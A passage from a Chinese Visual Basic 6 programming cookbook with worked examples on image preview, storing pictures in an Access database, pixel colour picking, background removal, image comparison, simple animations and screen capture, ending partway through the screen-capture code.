使用图像分页预览程序可以预览文件夹中的图片，当图片数量较多时，程序进行分页预览。单击程序中的“下一页”按钮，文件夹中在程序当前界面显示的图片后面的图片将被显示；单击“上一页”按钮，将显示浏览过的上一组图片。双击预览的图片将查看图片，图片以原始大小显示，图像分页预览程序的运行界面如图20.8所示。

关键技术

图像分页预览主要是使用Image控件将图片进行缩放显示，使用Frame控件控制图像的可见和不可见。每次可浏览6张图片，如果文件夹中的图片数量超过6张，单击“下一页”按钮时，继续加载剩下的图片。这里定义了一个全局型变量JB，用于记录当前加载的图像。本程序实现在图形框中加载图像的代码如下：



        File1.ListIndex = JB                                    '要加载的图片
        If Right(File1.path, 1) <> "\" Then                            '获得图片路径及名称
            nisse = File1.path & "\" & File1.FileName
        Else
            nisse = File1.path & File1.FileName
        End If
        Frame1(i).Caption = File1.FileName                            '显示图片名称
        Image1(i).Picture = LoadPicture(nisse)                            '显示图片
        JB = JB + 1                                        '用于记录加载的图片




[image: ]
图20.8　图像分页预览



设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“图像分页预览”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，此图像框起到容器的作用，将预览的图片显示在此图像框内。

（4）在添加的PictureBox控件上添加Frame1（0～5）控件数组，调整这些控件的位置和大小。

（5）在Frame1控件数组的每个控件中添加Image1（0～5）控件数组。并将这些Image控件的Stretch属性设置为True，这样图像将按照Image控件的大小进行缩放。Image控件数组用于显示预览的图片。

（6）在工程中新建一个窗体，设置其BorderStyle属性值为0，使其不显示边框。窗体Form2用于查看原图像。

（7）在Form2中添加一个PictureBox控件，在PictureBox控件中添加一个Image控件，Image控件用于显示原图像。

（8）在Form2窗体中添加水平滚动条和竖直滚动条，当图片大小超过图像框大小时，使图片能够进行滚动浏览。

在运行程序后，首先要单击<<按钮，选择要浏览图片的文件夹。选择文件夹后，图像预览窗口即可预览文件夹中的图片，程序代码如下：



Private Sub Command1_Click()
    Text1.Text = FPath$(Me.hWnd, "文件夹浏览")                        '获取文件夹路径
    File1.path = Text1.Text                                    '将路径赋给文件列表框
    Picture2.Visible = True                                        '使图像可见
    Cmd_nextpage.Enabled = True                                '下一页按钮有效
    Me.MousePointer = 11                                        '设置鼠标状态
    JB = 0
    Call uppd                                            '添加图像
    If File1.ListIndex = File1.ListCount - 1 Then Cmd_nextpage.Enabled = False'没有可预览的图像，下一页按钮无效
    Cmd_prepage.Enabled = False
    Me.MousePointer = 0
End Sub




上述代码中的自定义过程uppd用于实现对浏览图片的加载，使其显示在图片预览窗口中，程序代码如下：



Sub uppd()
    Dim nisse As String
    Dim i As Integer
    For i = 0 To 5
        Frame1(i).Visible = True                                    '设置框架可用
        On Error GoTo balle1
        File1.ListIndex = JB                                    '设置显示的图像
        '获取文件路径
        If Right(File1.path, 1) <> "\" Then
            nisse = File1.path & "\" & File1.FileName
        Else
            nisse = File1.path & File1.FileName
        End If
        Frame1(i).Caption = File1.FileName                            '显示图像名称
        Image1(i).Picture = LoadPicture(nisse)                            '加载图像
        JB = JB + 1                                        '记录数加1
    Next i
    JB = JB - 1
    Exit Sub
balle1:
    Frame1(i).Visible = False
    Resume Next
    Exit Sub
End Sub




如果文件夹中的图片很多，一页不能够浏览完，可单击“下一页”按钮，继续浏览文件夹中的其他图片。单击“上一页”按钮，可浏览前面浏览过的图片，直到返回到第一页，此按钮无效，程序代码如下：



Private Sub Cmd_prepage_Click()
    Me.MousePointer = 11                                        '设置鼠标指针样式
    Cmd_nextpage.Enabled = True                                '下一页按钮有效
    JB = (Int(JB / 6) - 1) * 6                                    '计算显示的图像标记号
    If JB = 0 Then Cmd_prepage.Enabled = False
    Call uppd                                            '显示图像
    Me.MousePointer = 0                                        '设置鼠标指针样式
End Sub
Private Sub Cmd_nextpage_Click()
    Me.MousePointer = 11                                        '设置鼠标指针样式
    Cmd_prepage.Enabled = True
    If Frame1(0).Visible = False And Frame1(1).Visible = False And Frame1(2).Visible = False And Frame1(3).Visible = False And Frame1(4).Visible = False And Frame1(5).Visible = False Then
        Cmd_prepage.Visible = True
        Exit Sub
    End If
    JB = JB + 1
    Call uppd
    If File1.ListIndex = File1.ListCount - 1 Then Cmd_nextpage.Enabled = False
    Me.MousePointer = 0
End Sub




在浏览的图片上双击鼠标，可浏览该图像的原图像，即按照原图像大小显示该图像，实现代码如下：



Private Sub Form_Resize()
    Picture1.Move 0, 0                                        '移动图像框到合适位置
    Image1.Move 0, 0                                        '移动图片框到合适位置
    If Image1.Width - Picture1.Width > 0 Then                            '如果图像大于图片框，设置滚动条
        HScroll1.Max = Image1.Width - Picture1.Width 
        HScroll1.SmallChange = (Image1.Width - Picture1.Width) / 10
        HScroll1.LargeChange = (Image1.Width - Picture1.Width) / 10
    Else
        HScroll1.Enabled = False
    End If
    If Image1.Height - Picture1.Height > 0 Then                        '如果图像高度大于图像框，设置竖直滚动条
        VScroll1.Max = Image1.Height - Picture1.Height
        VScroll1.SmallChange = (Image1.Height - Picture1.Height) / 10
        VScroll1.LargeChange = (Image1.Height - Picture1.Height) / 10
    Else
        VScroll1.Enabled = False
    End If
End Sub
Private Sub HScroll1_Change()
    Image1.Left = -HScroll1.Value
End Sub
Private Sub VScroll1_Change()
    Image1.Top = -VScroll1.Value
End Sub




秘笈心法

心法领悟581：JPEG文件格式小知识。

JPEG是Joint Photographic Experts Group的缩写，是一种有损压缩的图像文件格式。它将图像中重复或不重要的数据压缩掉，这样很容易造成图像品质的降低，但是其较高的压缩率必然使其图像文件所占的空间减小，使其更适合在互联网中传输。这种格式可以让人们在图像品质和文件大小之间进行调整以寻求一个良好的平衡点，这使得JPEG文件的应用十分广泛。



 实例582　图像存储在数据库

光盘位置：光盘\MR\20\582

中级

趣味指数：[image: ]




实例说明

在编写数据库管理软件时，有时要将多媒体数据文件保存到数据库，如图片、音乐、动画等。本实例将利用ADO 2.5的Stream对象来实现将图片存入数据库。运行程序，查看已保存的图片，单击查看数据的向前向后按钮。添加图片请单击…按钮，选择输入图片，在左侧图片框将显示图片内容，单击“保存”按钮即可将图片数据保存到数据库，效果如图20.9所示。

[image: ]
图20.9　将图片存入数据库



关键技术

在本实例中，使用ADO 2.5中新增的Stream对象来实现将图片存入数据库。使用Stream对象时，ADO版本必须是ADO 2.5或ADO 2.5以上。如果ADO 版本低于2.5，可以到微软网站下载最新版本。使用Stream对象前，必须先引用Stream：选择“工程”/“引用”命令，选中Microsoft ActiveX Data Object 2.5 Library复选框，单击“确定”按钮返回。

使用Stream对象的方法如下：



Dim mst As ADODB.Stream
Set mst = New ADODB.Stream
  mst.Type = adTypeBinary                 '声明操作的是二进制数
  mst.Open
  mst.LoadFromFile "c:\11.bmp"             '将文件读入Stream对象




对ADO对象的总结如下。

（1）ADO对象说明如下所示：



Connection启用数据的交换。 
Command包含SQL语句。 
Parameter包含SQL语句参数。 
Recordset启用数据的定位和操作。 
Field包含Recordset对象列。 
Error包含连接错误。 
Property包含ADO对象特性。 




（2）ADO集合总结如下所示：



Error所有为响应单个连接错误而创建的Error对象。 
Parameter所有与Command对象关联的Parameter对象。 
Fields所有与Recordset对象关联的Field对象。 
Properties所有与Connection、Command、Recordset或Field对象关联的Property对象。 




（3）ADO事件处理程序总结如下所示：



ConnectionEvents 说明 
BeginTransComplete、CommitTransComplete、RollbackTransComplete 事务管理 —— 通知连接中的当前事务已开始、提交或回卷。  
WillConnect、ConnectComplete、Disconnect 连接管理 —— 通知当前连接将要开始、已经开始或结束。 
WillExecute、ExecuteComplete 命令执行管理 —— 通知连接中的当前命令将要开始或已经结束。 
InfoMessage 信息 —— 通知获得与当前操作相关的附加信息。 
RecordsetEvents 说明 
FetchProgress、FetchComplete 检索状态 —— 通知数据检索操作的进程或检索操作已经完成。 
WillChangeField、FieldChangeComplete 字段更改管理 —— 通知当前字段的值将要更改或已经更改。 
WillMove、MoveComplete、EndOfRecordset 定位管理 —— 通知在 Recordset 中当前行的位置将要更改、已经更改或已到达 Recordset 的结尾。 
WillChangeRecord、RecordChangeComplete 行更改管理 —— 通知有关 Recordset 当前行中某些内容将要更改，或已经更改。 
WillChangeRecordset、RecordsetChangeComplete 记录集更改管理 —— 通知当前 Recordset 中某些内容将要更改，或已经更改。




设计过程

（1）新建一个标准工程，创建一个新窗体，默认名称为Form1。

（2）本实例数据库采用Access数据库，首先利用Access 或 VBData 创建数据表。数据库名称为Data，数据表为Data。数据格式说明如表20.1所示。

表20.1　数据格式



	字段名称
	数据类型
	数据大小
	说明



	图片
	binary
	
	存储图片信息




（3）引用Stream对象，选择“工程”/“引用”命令，选中Microsoft ActiveX Data Object 2.5 Library复选框。

（4）选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft ADO Data Controls 6.0（SP3）（OLEDB）复选框，单击“确定”按钮，ADODC控件将被添加到工具箱中。

（5）在Form1窗体中放置3个Label控件、3个Command控件、两个Picture控件、一个ADODC控件、一个Commondialog控件。

（6）设置窗体对象与属性（部分）如表20.2所示。

表20.2　设置窗体对象与属性



	对象
	属性
	值
	功能



	Picture2
	名称、datasource、datafield
	Picture2、Adodc1、图片
	显示数据库图片



	adodc1
	名称、database、recordsource
	Adodc1、data.mdb、data
	绑定数据




（7）主要程序代码如下：



Option Explicit
Dim Cn As ADODB.Connection
Dim Rs As ADODB.Recordset
Dim mst As ADODB.Stream
Dim mystr As String
Private Sub Form_Load()
Adodc1.ConnectionString = "uid=admin;pwd=111;DRIVER={Microsoft Access Driver (*.mdb)};DBQ="_
 & App.Path & "\data.MDB"                                          '指定数据库             
  Adodc1.RecordSource = "data"
  Adodc1.Refresh
End Sub
Private Sub Command1_Click()                                        '保存图片到数据库
  If mystr <> "" Then
     Set Cn = New ADODB.Connection
     Cn.ConnectionString = ";;DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" & App.Path & "\data.MDB"      '设置连接
     Cn.Open          '打开数据库
     Set Rs = New ADODB.Recordset    
     Rs.Open "select * from data", Cn, adOpenStatic, adLockOptimistic          '打开数据表
     Set mst = New ADODB.Stream
     mst.Type = adTypeBinary                                         '声明操作的是二进制数
     mst.Open    
     mst.LoadFromFile mystr                                         '将文件读入Stream对象
     Rs.AddNew
     Rs.Fields("图片").Value = mst.Read                        
     Rs.Update                                        '保存图片到数据库
     Rs.Close                                        '关闭数据表
     Cn.Close                                        '关闭数据库
     Adodc1.Refresh
   Else
     MsgBox ("请先选择图片！")
  End If
End Sub
Private Sub Command3_Click()                                '显示“打开”对话框
  CommonDialog1.Filter = "bmp|*.jpg;*.bmp;*.gif"                    '设置选择bmp、jpg、gif文件
  CommonDialog1.FilterIndex = 2
  CommonDialog1.ShowOpen
  Picture1.Picture = LoadPicture(CommonDialog1.FileName)                '选择图片       
  mystr = CommonDialog1.FileName
End Sub
Private Sub Command2_Click()
  End
End Sub




秘笈心法

心法领悟582：将彩色图片转换为灰度图片小知识。

在出版印刷物中使用的图片绝大多数都是灰度图片。在灰度图像中使用了多达256级灰度。灰度图像中的每个像素都有一个0（黑色）～255（白色）之间的亮度值。使用黑白或灰度扫描仪生成的图像通常以灰度模式显示。灰度模式显示的图像，过渡更加平滑细腻。将彩色图像转换为灰度模式时会丢失颜色信息，且丢失的颜色信息将不能再返回。因此可将彩色图像转换为灰度图像，但不能将灰度图像转换为彩色图像。

将图像转换为灰度图像的原理是：从每个像素的颜色中提取R、G、B分量的值，然后转换为对应的灰度分量。其中，主要应用GetPixel和SetPixelV两个API函数，以及PictureBox控件的PSet方法。


 20.2　图像识别



 实例583　获取鼠标任意位置的颜色值

光盘位置：光盘\MR\20\583

中级

趣味指数：[image: ]




实例说明

在一些图形编辑软件中，经常利用吸管工具来获取图像中的某一位置的颜色值，本实例便实现了这一功能。运行程序，在图像上移动鼠标，窗体的上面即可显示鼠标当前位置的颜色及颜色值，效果如图20.10所示。

[image: ]
图20.10　获取图像某点的颜色和颜色值



关键技术

本实例主要是通过使用API函数GetCursorPos获取当前鼠标的位置，通过API函数GetDC和GetPixel获取指定鼠标位置的颜色值。

（1）GetDC函数

该函数用于获取指定窗口的设备场景，语法如下：



Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long




参数说明

hwnd：将获取其设备场景的窗口的句柄。

返回值为Long，指定窗口的设备场景句柄，出错则为0。

（2）GetPixel函数

该函数用于在指定的设备场景中设置一个像素的RGB值，语法如下：



Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long




参数说明

❶hdc：设备场景的句柄。

❷x，y：逻辑坐标中要检查的点。


说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取图像某点的颜色和颜色值”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体中添加一个Frame控件，设置Caption属性为空。

（4）在Frame1控件中添加一个Label控件，设置Caption属性为“获取图像某点的颜色和颜色值”；添加一个TextBox控件和一个PictureBox控件。

（5）在窗体上添加一个CommandButton控件，设置Caption属性为“退出”；添加一个Image控件，将控件的Stretch属性设置为True；添加一个Timer控件，将控件的Interval属性设置为50。

（6）主要程序代码如下：



Private Sub Timer1_Timer()
    Dim P1 As POINTAPI, h As Long, h1 As Long, r1 As Long
    GetCursorPos P1                                '获取鼠标指针的当前位置
    h1 = GetDC(h)                                    '获取指定窗口的设备场景
    r1 = GetPixel(h1, P1.x, P1.y)                            '在指定的设备场景中设置一个像素的RGB值
    If r1 = -1 Then
        BitBlt Picture1.hdc, 0, 0, 1, 1, h1, P1.x, P1.y, vbSrcCopy
        r1 = Picture1.Point(0, 0)                            '返回PictureBox上所指定磅的红-绿-蓝（RGB）颜色
    Else
        Picture1.PSet (0, 0), r1                            '将对象上的点设置为指定颜色
    End If
    Text1.Text = Hex$(r1)                                '返回代表十六进制数值的颜色值
    Picture1.BackColor = r1                            '设置控件背景颜色
End Sub




秘笈心法

心法领悟583：图像格式的转换小知识。

在实际的图片处理过程中，经常会根据不同的需要选择不同格式的图像，经过格式转换的图像，其大小也会发生改变。



 实例584　提取图片中的对象

光盘位置：光盘\MR\20\584

高级

趣味指数：[image: ]




实例说明

在Photoshop中，可以实现去除图像中某一相同颜色的功能，在本实例中也能实现此功能。运行程序，单击“选取图片”按钮，打开一幅带有白色背景的图片，单击“抠图”按钮，将图片中的白色背景删除，只呈现出图片中的物体对象，效果如图20.11所示。

[image: ]
图20.11　提取图片中的对象



关键技术

本实例主要是利用用户自定义的一个函数GetMaskPic去除图像中其他的颜色值。通过API函数BitBlt重新设置图像。


说明：
 BitBlt函数的详细讲解请参见实例459中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“提取图片中的对象”，StartUpPosition属性设置为“2-屏幕中心”。

（3） 选择VB菜单中的“工程”/“添加模块”命令，在工程中添加一个模块，默认“名称”属性为Module1。

（4）在窗体中添加一个Label控件，设置其Caption属性为“请您选取背景色为白色的图片”，BackColor属性为&H00FFC0FF&；添加两个CommandButton控件，设置其Caption属性分别为“选取图片”和“抠图”。

（5）在窗体上添加两个PictureBox控件、一个Image控件和一个CommonDialog控件。

（6）主要程序代码如下：



Private Sub Command1_Click()
   Dim dx As Long, dy As Long
   Call GetInvertMaskPic(Picture1, Image1, RGB(255, 255, 255))
   '注释：请确认相对pen.bmp图的背景颜色是什么，本例中是白色，故使用RGB(255,255,255)
   Call GetMaskPic(Picture1, Image1, RGB(255, 255, 255))
   dx = Me.ScaleX(Image1.Picture.Width, vbHimetric, vbPixels)
   dy = Me.ScaleY(Image1.Picture.Height, vbHimetric, vbPixels)
   '注释: 以下将image1的图去除背景画在Picture2之上
   Set Picture1.Picture = Image1.Picture
   BitBlt Picture2.hDc, 0, 0, dx, dy, hMaskDC, 0, 0, vbSrcAnd
   BitBlt Picture1.hDc, 0, 0, dx, dy, hInvertMaskDC, 0, 0, vbSrcAnd
   BitBlt Picture2.hDc, 0, 0, dx, dy, Picture1.hDc, 0, 0, vbSrcPaint
   Picture1.Width = Picture2.Width
   Picture2.Height = Picture2.Height
   Picture2.Visible = False
   Picture1.Visible = True
End Sub




秘笈心法

心法领悟584：图形方法和图形控件的比较小知识。

在Visual Basic中绘图可以使用图形控件也可以使用图形方法。如果绘制的图形较多，则使用图形方法效率更高。但是，由于用图形方法创建图形是在代码中进行的，必须在程序运行时才能看到图形方法的效果，所以，对于创建简单的图形界面，使用图形控件反而更容易些。



 实例585　简易人像识别程序

光盘位置：光盘\MR\20\585

高级

趣味指数：[image: ]




实例说明

有些图片通过人眼很难识别是否相同，本实例实现通过图形软件来识别两张图片是否完全相同。运行程序，单击<<或>>按钮选取源图片；单击“选取图片”按钮，选择目标图片，然后单击“开始识别…”按钮，系统将自动判断两张图片是否相同，效果如图20.12所示。

[image: ]
图20.12　简易人像识别程序



关键技术

本实例的实现主要是通过PictureBox控件的Point方法逐点比较两张图片的坐标值是否相同，如果所有点的值都相同，则两张图片相同，否则不同。

PictureBox控件的Point方法用于返回PictureBox控件上指定磅的颜色，语法如下：



object.Point(x, y)




参数说明

❶object：可选参数。一个对象表达式。

❷(x,y)：必选参数。均为单精度值，指示Form或PictureBox的ScaleMode属性中该点的水平（x轴）和垂直（y轴）的坐标。使用时必须用括号括住这些值。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“简易人像识别程序”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Frame控件，分别设置Caption属性为“选取源图片”和“目标扫描图片”。

（4）在Frame1和Frame2控件中分别添加一个PictureBox控件，并分别设置其Picture属性。

（5）在窗体上添加4个CommandButton属性，设置Caption属性分别为“<<”、“>>”、“选取图片”和“开始识别…”；添加一个CommonDialog控件。

（6）主要程序代码如下：



Private Sub Command1_Click()
  Call Same_Pic
End Sub
Function Same_Pic() As Boolean
On Error Resume Next
    Dim x1, y1 As Long    
    If Picture1.Width <> Picture2.Width Or Picture1.Height <> Picture2.Height Then            '先看是不是一样大的
        Same_Pic = False
        Exit Function
    End If
    For x1 = 0 To Picture1.Width Step 100                                    'Step达到了，100这是为了加速
        For y1 = 0 To Picture1.Height Step 100
            If Picture1.Point(x1, y1) <> Picture2.Point(x1, y1) Then
               MsgBox "两张图片的信息不相同", 64, "图像识别信息提示"
               Same_Pic = False                                        '不同返回False
               Exit Function
            End If
        Next y1
    Next x1
           MsgBox "两张图片完全相同", 64, "图像识别信息提示"
           Exit Function
    Same_Pic = True
End Function




秘笈心法

心法领悟585：图形和图像之间的区别与联系。

图形与图像是两个不同的概念，应注意加以区别。但有时又将两者统称为图形或图像。

图形是基于矢量，它的基本元素是图元，也就是图形指令，而图像是基于位图的，它的基本元素是像素，图像显示更逼真些，而图形则更加抽象，仅有点、线、面等元素；图形的显示过程是依照图元的顺序进行的，而图像的显示过程是按照位图中所安排的像素顺序进行的，与图像内容无关；图形可以进行变换且无失真，而图像变换则会发生失真，例如，当图像放大时边界会产生阶梯效应，即通常说的锯齿；图形能以图元为单位单独进行属性修改、编辑等操作，而图像则不行，因为在图像中并没有关于图像内容的独立单位，只能对像素或图像块进行处理。


 20.3　图片动画



 实例586　利用图片制作屏幕保护程序

光盘位置：光盘\MR\20\586

中级

趣味指数：[image: ]




实例说明

可以利用Visual Basic 6.0制作屏幕保护程序，例如，运行本实例程序，保持鼠标指针不动，计算机屏幕将进入屏幕保护界面，移动鼠标，即可取消屏幕保护，程序的运行效果如图20.13所示。

[image: ]
图20.13　利用图片制作屏幕保护程序



关键技术

在程序运行时，通过API函数GetCursorPos获取当前鼠标的坐标值，同时在移动鼠标时触发窗体的MouseMove事件，在该事件下再次通过GetCursorPos函数获取当前鼠标的坐标值，与窗体启动时获取的鼠标坐标值进行比较，如果相同则不退出程序，不同则退出程序。在Timer控件中实现控制PictureBox控件的移动位置来实现屏保的效果。

通过引发Timer事件，Timer控件可以有规律地隔一段时间执行一次代码。

属性和方法如下。

❶Enabled属性：返回或设置一个值，该值用来确定Timer控件是否能够产生事件作出反应。

❷Interval属性：返回或设置对Timer控件的计时事件各调用间的毫秒数。

❸Timer事件：在一个Timer控件的预定的时间间隔过去之后发生。该间隔的频率存储于该控件的Interval属性中，它以千分之一秒为单位指定时间的长度。


说明：
 GetCursorPos函数的详细讲解请参见实例058的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用图片制作屏幕保护程序”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加6个Timer控件，分别设置Timer控件的Interval值；添加一个PictureBox控件。

（4）主要程序代码如下：



Private Sub Form_Load()
  Me.WindowState = 2
  Me.Left = (Screen.Width - Me.Width) / 2
  Me.Top = 1000
  GetCursorPos P1
  TimerS_X = P1.X
  TimerS_Y = P1.Y
End Sub




秘笈心法

心法领悟586：将彩色图片转换为灰度图片。

在出版印刷物中使用的图片绝大多数都是灰度图片。在灰度图像中使用了多达256级灰度。灰度图像中的每个像素都有一个0（黑色）～255（白色）之间的亮度值。使用黑白或灰度扫描仪生成的图像通常以灰度模式显示。灰度模式显示的图像，过渡更加平滑细腻。将彩色图像转换为灰度模式时会丢失颜色信息，且丢失的颜色信息将不能再返回。因此可将彩色图像转换为灰度图像，但不能将灰度图像转换为彩色图像。

将图片转换为灰度图片的原理是：从每个像素的颜色中提取R、G、B分量的值，然后转换为对应的灰度分量。其中，主要应用GetPixel和SetPixelV两个API函数，以及PictureBox控件的PSet方法。



 实例587　图片动画

光盘位置：光盘\MR\20\587

中级

趣味指数：[image: ]




实例说明

在一些应用程序的界面中，经常需要将图片制作成动画效果，以吸引用户。运行程序，在窗体上就会自动显示图片的动画效果，如图20.14所示。

[image: ]
图20.14　图片动画



关键技术

本实例主要是在Timer控件中通过设置PictureBox控件的ForeColor属性和Line方法来实现设置图片动画的效果。

ForeColor属性用于返回或设置在对象中显示图片和文本的前景颜色，语法如下：



object.ForeColor [= color]




参数说明

❶object：对象表达式。

❷color：值或常数，确定对象前景或背景的颜色。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“明日科技”，StartUp Position属性设置为“2-屏幕中心”。

（3）在窗体中添加一个PictureBox控件，设置BackColor属性为&H00FFC0FF&，在PictureBox控件中添加两个Label控件，并设置其Caption属性值。

（4）在窗体上添加一个Timer控件，设置Interval属性为500。

（5）主要程序代码如下：



Private Sub Timer1_Timer()
 Picture1.Cls
 For i = 0 To 4500 Step 0.5
      Picture1.ForeColor = QBColor(12)
      Picture1.Line (i, 0)-(i, Picture1.Height)
      Picture1.Line (Picture1.Width - i, 0)-(Picture1.Width - i, Picture1.Height)
      DoEvents
  Next i
  Label1.Refresh
  Label2.Refresh
   For i = 4500 To 0 Step -0.3
      Picture1.ForeColor = Picture1.BackColor
      Picture1.Line (i, 0)-(i, Picture1.Height)
      Picture1.Line (Picture1.Width - i, 0)-(Picture1.Width - i, Picture1.Height)
      DoEvents
  Next i
      Label1.Refresh
      Label2.Refresh
End Sub




秘笈心法

心法领悟587：Visual Basic用Microsoft Windows运行环境的红-绿-蓝（RGB）颜色方案。

Color的设置值如下：（1）标准RGB颜色：使用调色板或在代码中使用RGB或QBColor函数指定的颜色。（2）系统默认颜色：由对象浏览器中的Visual Basic（VB）对象库所列的系统颜色常数指定的颜色。Windows运行环境替换使用用户在控制面板中的选择。


 20.4　其他应用



 实例588　滚动广告字幕

光盘位置：光盘\MR\20\588

中级

趣味指数：[image: ]




实例说明

在电视节目中，经常会出现滚动的广告字幕。本实例在应用程序当中实现滚动字幕的效果。运行程序，窗体中的文字将自动滚动，同时变换字体的颜色，效果如图20.15所示。

[image: ]
图20.15　滚动广告字幕



关键技术

本实例主要是通过在Timer控件中控制Label控件距左端的距离以及字体颜色属性ForeColor来实现的。

Label控件中的Left属性用于返回或设置对象内部的左边与它的容器的左边之间的距离，语法如下：



object.Left [= value]




参数说明

❶object：对象表达式。

❷value：数值表达式，用于指定距离。


说明：
 ForeColor属性的详细讲解请参见实例587中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“屏幕滚动广告”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，设置其Caption属性为“明日科技 软件新纪元”；添加一个Image控件，设置其Picture属性在控件上加载图片；添加一个Timer控件，设置Interval属性为200。

（4）主要程序代码如下：



Private Sub Form_Load()
    Me.Left = (Screen.Width - Me.Left) / 2                '设置窗体的左边位置
    Me.Top = (Screen.Height - Me.Height) / 2                '设置窗体的顶端位置
End Sub
Private Sub Timer1_Timer()
    If Label1.Left < Me.Width Then
        Label1.Left = Label1.Left + 100                '标签控件向右移动
    ElseIf Label1.Left > -Me.Width Then
        Label1.Left = -Label1.Width                    '重新调整控件位置
    End If
    If Label1.ForeColor = &HFF0000 Then
        Label1.ForeColor = &HFF&                    '设置前景色
    Else
        Label1.ForeColor = &HFF0000                    '设置前景色
    End If
End Sub




秘笈心法

心法领悟588：图形方法和图形控件的比较。

在Visual Basic中绘图可以使用图形控件也可以使用图形方法。如果绘制的图形较多，则使用图形方法效率更高。但是，由于用图形方法创建图形是在代码中进行的，必须在程序运行时才能看到图形方法的效果，所以，对于创建简单的图形界面，使用图形控件反而更容易些。



 实例589　屏幕抓图程序

光盘位置：光盘\MR\20\589

高级

趣味指数：[image: ]




实例说明

在通常情况下，通过按键盘上的PrintSysRq键抓取整个屏幕。其实，通过编程也可以直接进行屏幕抓图。运行程序，单击“捕捉”按钮，实现了与按PrintSysRq键相同的功能，抓取的屏幕效果如图20.16所示。单击“另存为”按钮，将抓取的图片保存到相应的位置。

[image: ]
图20.16　屏幕抓图程序



关键技术

本实例的实现主要是通过运用API函数中BitBlt函数将屏幕上的图像复制到VB中的窗体对象上，运用SavePicture函数保存图像。这里要注意一点，用SavePicture函数保存图像前，必须加上Me.Picture = Me.Image代码，否则无法保存。抓取屏幕要用到剪贴板函数，下面介绍几个和剪贴板有关的函数。

（1）OpenClipboard函数

该函数用于打开剪贴板，以检测和阻止其他程序改变剪贴板的内容，语法如下：



Private Declare Function OpenClipboard Lib "user32" (ByVal hwnd As Long) As Long




参数说明

hwnd：与打开的剪贴板相关联的窗口的句柄。

（2）CloseClipboard函数

该函数用于关闭剪贴板，语法如下：



Private Declare Function CloseClipboard Lib "user32" () As Long




（3）SetClipboardData函数

该函数用于把数据放到具有指定格式的剪贴板，窗口必须是当前剪贴板的拥有者。该函数必须在OpenClipboard调用后才可以使用，语法如下：

Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long

参数说明

❶wFormat：指定一种剪贴板格式。

❷hMem：指定格式中数据的句柄。

（4）EmptyClipboard函数

该函数用于清空剪贴板并释放剪贴板中数据的句柄，然后将剪贴板的拥有者交给当前打开剪贴板的窗口，语法如下：



Private Declare Function EmptyClipboard Lib "user32" () As Long




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“屏幕抓图程序”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加3个CommandButton控件，设置其Caption属性分别为“捕捉”、“另存为”和“退出”；添加一个Image控件和一个CommonDialog控件。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim TWidth As Long                                '定义长整形变量
    Dim THeight As Long                                '定义长整形变量
    TWidth = Screen.Width \ Screen.TwipsPerPixelX                '给变量赋值
    THeight = Screen.Height \ Screen.TwipsPerPixelY                '给变量赋值
    If TWidth < 1024 Or THeight < 768 Then
        Me.Visible = False                            '窗体不可见
        SourceDC = CreateDC("DISPLAY", 0, 0, 0)                '为专门设备创建设备场景
        DestDC = CreateCompatibleDC(SourceDC)                '创建一个与特定设备场景一致的内存设备场景
        Bhandle = CreateCompatibleBitmap(SourceDC, 800, 600)        '创建一幅与设备有关位图与指定的设备场景兼容
        SelectObject DestDC, Bhandle                        '每个设备场景都可能有选入其中的图形对象
        BitBlt DestDC, 0, 0, 800, 600, SourceDC, 0, 0, &HCC0020        '将屏幕上的图像复制到VB中的窗体对象上
        Wnd = Screen.ActiveForm.hwnd
        OpenClipboard Wnd                            '打开剪贴板，以检测和阻止其他程序改变剪贴板的内容
        EmptyClipboard
        SetClipboardData 2, Bhandle                        '把数据放到具有指定格式的剪贴板，窗口必须是当前剪贴板的拥有者
        CloseClipboard                                '关闭剪贴板
        DeleteDC DestDC                            '删除专用设备场景，释放所有相关窗口资源
        ReleaseDC Dhandle, SourceDC                        '释放由调用GetDC或GetWindowDC函数获取的指定设备场景
        Image1.Picture = Clipboard.GetData()
        Me.Visible = True                                '窗体可见
    Else
        Me.Visible = False                            '窗体不可见
        SourceDC = CreateDC("DISPLAY", 0, 0, 0)                '为专门设备创建设备场景
        DestDC = CreateCompatibleDC(SourceDC)                '创建一个与特定设备场景一致的内存设备场景
        Bhandle = CreateCompatibleBitmap(SourceDC, 1024, 768)        '创建一幅与设备有关位图与指定的设备场景兼容
        SelectObject DestDC, Bhandle                        '每个设备场景都可能有选入其中的图形对象
        BitBlt DestDC, 0, 0, 1024, 768, SourceDC, 0, 0, &HCC0020
        Wnd = Screen.ActiveForm.hwnd
        OpenClipboard Wnd                            '打开剪贴板
        EmptyClipboard
        SetClipboardData 2, Bhandle                        '把数据放到具有指定格式的剪贴板，窗口必须是当前剪贴板的拥有者
        CloseClipboard                                '关闭剪贴板
        DeleteDC DestDC                            '删除专用设备场景，释放所有相关窗口资源
